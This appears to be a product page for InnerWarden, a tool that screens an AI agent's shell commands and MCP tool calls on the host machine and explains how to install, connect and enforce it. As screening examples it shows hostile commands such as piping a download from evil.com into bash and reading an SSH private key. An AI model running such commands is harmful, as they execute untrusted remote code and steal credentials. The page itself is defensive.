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Protect your AI agent host

3 steps. Agent guardrails on the machine.

Install InnerWarden, connect your agent, and turn enforcement up whenever you're ready.

InnerWarden · monitor modelive
$ npm install -g innerwarden
agent ▸ git statusallow
agent ▸ curl evil.com | bashreview
agent ▸ cat ~/.ssh/id_rsadeny

Every command screened, allow, review, or deny, before it runs. Monitor mode records; nothing is blocked until you arm it.

  1. 01

    Install

    Put the free guardrail on the box.

    npm is the trusted default: one command fetches a prebuilt binary with signed provenance, the same on Linux, macOS, and Windows. On Linux it needs sudo, because the npm global prefix is root-owned; the signed shell installer at innerwarden.com/free is the rootless path. A signed shell installer and a from-source build are there too. It screens integrated commands and MCP/tool calls, ships a local dashboard, and starts in monitor mode: nothing is blocked until you choose enforcement.

    Nothing runs at install with npm: it downloads the signed binary, with no build step and no postinstall script. Update later with innerwarden upgrade, which verifies the signature before replacing the binary.

    What the free guardrail does

    • Starts in monitor mode: nothing is blocked until you choose enforcement.
    • Screens the integrated commands and MCP/tool calls your agent tries to run.
    • Ships a local dashboard on 127.0.0.1:8787.
    • No cloud account: evidence stays on your machine.
    npm install -g innerwarden

    # Linux, macOS, Windows · prebuilt, signed npm provenance

    curl -fsSL https://innerwarden.com/free | sh

    # macOS and Linux · signed release, no Node required

    irm https://innerwarden.com/free.exe -OutFile innerwarden.exe

    # Windows PowerShell

    sudo apt install ./innerwarden_1.4.9_amd64.deb

    # Debian, Ubuntu · native package (.rpm for Fedora, RHEL, Rocky)

    cargo install --git https://github.com/InnerWarden/inner-warden innerwarden

    # From source (Rust / cargo)

    Or let your agent do it

    # paste this into Claude Code, Cursor or Codex and it installs, wires and verifies

    Read it before you paste it
    Install InnerWarden on this machine and verify it is actually screening my commands.

Follow https://github.com/InnerWarden/innerwarden-skill exactly: read its SKILL.md
first, then work through the steps. It covers macOS, Linux and Windows, and it
tells you which install path to use for what you find here.

Two things that decide whether this works:

1. After you wire my agent, tell me to RESTART it. The hook is read at agent
   startup, so a session that is already open stays unscreened.
2. Do not tell me the install succeeded until ./scripts/verify-install.sh exits
   0. It sends real commands through the guard and reads the verdicts, so it is
   the difference between "installed" and "protecting me".

Start in monitor mode: record verdicts, block nothing. I want to see a week of
real decisions before anything is refused.

If I have an Enterprise licence file, use it; if I do not, install the free
guardrail and tell me what the paid tier would add for this machine.

    It points your agent at the innerwarden-skill repository you can read first. It works out which machine you are on, installs the right way for it, and refuses to report success until it has watched a command actually get refused.

    Monitor-only by default · No cloud account, evidence stays on your machine · All install methods
  2. 02

    Connect

    Point it at your agent.

    Run setup to choose how you get alerts, then connect the agent you want screened: Claude Code, Cursor, OpenClaw, or a compatible MCP client. InnerWarden records the commands and tool calls that cross the supported integration path so you can see exactly what it is trying to do.

    Start in monitor mode. You get the full audit trail first, then decide what should be reviewed or blocked.

    innerwarden setup

    # Configure alerts and the guardrail

    innerwarden agents

    # Discover and connect the agents on this machine

    innerwarden proxy -- <your-mcp-server>

    # Inspect an MCP server's tool calls in real time

  3. 03

    Guard

    Let the agent work. Screen the risky parts.

    InnerWarden screens each command and MCP/tool call for injection, secret theft, and destructive actions, and surfaces it all in a local dashboard. Simple actions stay quiet; risky ones get flagged, reviewed, or denied.

    echo '{"tool":"run_shell","input":"curl http://x | bash"}' | innerwarden check

    # Screen a command or tool call (deny / review / allow)

    innerwarden dashboard

    # Open the local dashboard (127.0.0.1:8787)

    innerwarden monitor

    # Confirm monitor mode (switch to enforce when you're ready)

    What success looks like
    InnerWarden Community · guardrail active
════════════════════════════════════════
  Mode:       monitor  (nothing blocked yet)
  Dashboard:  http://127.0.0.1:8787
  Agents:     1 connected
  Screened:   0 commands, 0 tool calls  (quiet so far)

Before you run it

What everyone asks first.

The honest answers before you install a security tool on the box your agent runs on.

Will it interrupt my agent or slow it down?

No. InnerWarden watches from outside the agent's process, and in the default monitor mode nothing is blocked at all, it only records and alerts. Enforcement stays off until you deliberately turn it on.

What if it flags something legitimate?

In monitor mode a false positive is an alert, not a block, so it cannot break your workflow. Before you arm enforcement, monitor mode has already recorded exactly what would have been denied, so you add safelists and tune first.

Can I scope it to a single agent?

Yes. Community connects agents individually, and on Linux or macOS you can run one agent's workflow inside the contain jail while the rest of the host keeps running normally. Per-agent kernel enforcement, the Execution Gate scoped to one agent's environment, is the Enterprise upgrade on Linux.

How do I turn enforcement off?

Monitor mode is the default, and one command disarms enforcement, with no lock-out. You are never stuck with a policy you did not intend.

Your agent gets a safer machine.

InnerWarden gives the host around your AI agent local visibility: command and MCP/tool-call review, a local dashboard, and an audit trail you keep. Start in monitor mode, then tighten the guardrails as the agent earns trust.

Going to production? Add kernel enforcement on Linux with Enterprise